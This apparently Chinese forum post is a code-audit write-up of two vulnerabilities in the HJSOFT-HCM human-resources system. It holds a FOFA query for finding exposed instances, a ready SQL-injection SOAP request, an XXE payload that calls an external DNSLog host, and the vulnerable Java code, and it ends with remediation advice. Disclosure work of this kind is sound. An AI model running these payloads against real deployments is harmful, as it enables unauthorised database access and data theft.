找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3229

积分

0

好友

428

主题
发表于 2026-2-11 09:13:45 | 查看: 37| 回复: 0

SQL注入漏洞

影响范围

通过 FOFA 搜索引擎,我们可以发现宏景人力资源信息管理系统(HJSOFT-HCM)在互联网上有大量部署。

FOGA 搜索语法:app="HJSOFT-HCM"

FOGA搜索宏景HCM系统结果

POC数据包

以下是触发 SQL 注入漏洞的 SOAP 请求数据包:

POST /services/HrChangeInfoService HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
Content-Length: 448

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
         xmlns:ser="http://service.core.hrms.com">
  <soapenv:Header/>
  <soapenv:Body>
    <ser:returnSynchroString>
      <strString>test</strString>
      <username>admin';*</username>
      <password>test</password>
    </ser:returnSynchroString>
  </soapenv:Body>
</soapenv:Envelope>

使用 sqlmap 等工具可以成功验证并利用此注入点,获取数据库信息。

sqlmap验证SQL注入成功

漏洞分析

首先,我们从 web.xml 配置文件入手。通过 POC 可以看到,请求的接口路径为 /services/HrChangeInfoService。实际上,路径 /servlet/XFireServlet/HrChangeInfoService 也能达到同样的效果,因为它们最终都映射到同一个 Servlet 进行处理。

web.xml中的Servlet配置

关键配置如下:

<servlet>
  <servlet-name>XFireServlet</servlet-name>
  <servlet-class>org.codehaus.xfire.transport.http.XFireConfigurableServlet</servlet-class>
</servlet>
<servlet-mapping>
  <servlet-name>XFireServlet</servlet-name>
  <url-pattern>/servlet/XFireServlet/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
  <servlet-name>XFireServlet</servlet-name>
  <url-pattern>/services/*</url-pattern>
</servlet-mapping>

可以看到,/services/*/servlet/XFireServlet/* 这两个 URL 模式都交由 org.codehaus.xfire.transport.http.XFireConfigurableServlet 处理。

搜索XFireConfigurableServlet类

分析 XFireConfigurableServlet.class 的源码,其核心功能是通过读取配置文件 META-INF/xfire/services.xml 来动态映射和调用不同的服务类。

XFireConfigurableServlet关键代码

接下来,我们查看 services.xml 配置文件。该文件定义了各个 SOAP 服务名称与具体实现类的映射关系。

services.xml配置文件内容

在配置文件中,我们找到了 HrChangeInfoService 对应的实现类 com.hjsj.hrms.service.core.HrChangeInfoService。这个类正是存在漏洞的入口。

搜索HrChangeInfoService类

打开 HrChangeInfoService.class 进行反编译分析。该类实现了多个方法,用于处理不同的人员信息查询和同步请求。

HrChangeInfoService类结构

我们重点关注 returnSynchroString 方法。该方法接收三个参数:strStringusernamepassword

returnSynchroString方法代码

在方法内部,首先会调用 this.cheakCode(username, password) 来校验用户名和密码。我们跟进 cheakCode 方法查看其实现逻辑。

导航至cheakCode方法实现

cheakCode 方法中,我们看到了问题的根源:传入的 usernamepassword 参数未经任何处理,直接拼接到了 SQL 查询语句中。

cheakCode方法中的SQL拼接漏洞

关键的漏洞代码如下:

String sql = "select 1 from operuser where username='" + hjusername + "' and password='" + password + "'";

这种字符串拼接的方式导致了经典的 SQL 注入漏洞。攻击者可以通过精心构造 usernamepassword 参数,插入恶意 SQL 代码,从而绕过身份验证、窃取或篡改数据库信息。

此外,该类中的其他方法,如 getWhereChangeUsers,也使用了相同的 cheakCode 方法进行校验,因此同样存在 SQL 注入漏洞。这类通过 SOAP/XML 接口暴露的漏洞,在 代码审计 过程中需要格外关注参数传递与处理链条。

getWhereChangeUsers方法同样存在漏洞

XXE漏洞

除了 SQL 注入,该系统还存在一处 XML 外部实体注入(XXE)漏洞。

POC数据包

利用 XXE 漏洞可以触发外部 DNS 查询,验证漏洞存在。

POST /services/SynToADService HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: text/xml; charset=UTF-8
SOAPAction: ""
Content-Length: 850

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
         xmlns:ser="http://service.core.hrms.com">
  <soapenv:Header/>
  <soapenv:Body>
    <ser:sendSyncMsg>
      <xmlMessage>
        <![CDATA[<!DOCTYPE hr [
         <!ENTITY % remote SYSTEM "http://v3i3y6.dnslog.cn">
         %remote;
         %send;
        ]>
        <hr>
         <recs>
          <rec>org,emp</rec>
         </recs>
         <jdbc>
          <datatype>oracle</datatype>
          <database>test</database>
          <ip_addr>127.0.0.1</ip_addr>
          <username>test</username>
          <port>1521</port>
          <pass>test</pass>
         </jdbc>
        </hr>]]>
      </xmlMessage>
    </ser:sendSyncMsg>
  </soapenv:Body>
</soapenv:Envelope>

发送请求后,在 DNSLog 平台可以看到来自目标服务器的查询记录,证明 XXE 漏洞被成功触发。

BurpSuite发送XXE POC请求

DNSLog平台接收到查询记录

漏洞分析

回到 services.xml 配置文件,找到另一个服务 SynToADService,其对应的实现类为 com.hjsj.hrms.service.ladp.SynToADService

services.xml中的SynToADService配置

搜索SynToADService类

分析 SynToADService.classsendSyncMsg 方法。该方法接收一个名为 xmlMessage 的字符串参数,并将其传递给 synUtils.parseXml(xmlMessage) 进行解析。

SynToADService的sendSyncMsg方法

跟进 SynUtils 类的 parseXml 方法。这里是漏洞产生的关键位置。

SynUtils.parseXml方法代码

parseXml 方法中,程序使用了 org.jdom.input.SAXBuilder 来解析 XML。问题在于,代码中没有对 XML 解析器进行任何安全配置(如禁用外部实体、禁用 DTD 等),就直接解析了外部传入的、完全可控的 xmlMessage 字符串。

形成 XXE 漏洞的核心代码如下:

SAXBuilder saxbuilder = new SAXBuilder();  // 漏洞点1:未配置安全属性
StringReader reader = new StringReader(xmlMessage);
Document doc = saxbuilder.build(reader);  // 漏洞点2:直接解析外部可控的XML

由于 xmlMessage 参数完全由攻击者控制,攻击者可以在此处插入恶意的外部实体声明,导致服务器解析 XML 时向攻击者指定的地址发起 HTTP、DNS 等网络请求,可能造成敏感信息泄露(如读取服务器本地文件)或内部网络探测。在针对此类 SOAP 接口进行安全测试时,对 XML 输入的处理逻辑需要仔细审查。

总结

本次对宏景人力资源信息管理系统的代码审计,揭示了两处高风险的安全漏洞:一处是位于 HrChangeInfoService 服务中的 SQL 注入,另一处是位于 SynToADService 服务中的 XXE 漏洞。两处漏洞均源于对用户输入数据的信任与不当处理,是 Web 应用安全中常见的问题。

对于开发人员而言,修复建议非常明确:

  1. SQL注入:将所有数据库查询语句改为使用参数化查询(Prepared Statement),杜绝字符串拼接。
  2. XXE漏洞:在解析 XML 时,配置 SAXBuilder 或对应的 XML 解析器,显式禁用外部实体(FEATURE_EXTERNAL_GENERAL_ENTITIES, FEATURE_EXTERNAL_PARAMETER_ENTITIES)和 DTD 解析。

对于安全研究人员和企业安全团队,此案例再次提醒我们,对于使用传统框架(如 XFire)开发的、对外暴露 SOAP/WebService 接口的系统,应将其纳入重点的安全评估范围。这类接口往往承载着核心业务逻辑,一旦出现漏洞,影响面通常较大。通过静态代码审计与动态渗透测试相结合的方式,可以有效发现并消除此类安全隐患。




上一篇:Elasticsearch与C语言加持的Sist2:仅几MB实现本地文件百倍速搜索
下一篇:在Windows上为UVM环境搭建Linux虚拟机:VMware Workstation 16 Pro安装指南
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-23 13:04 , Processed in 0.848598 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表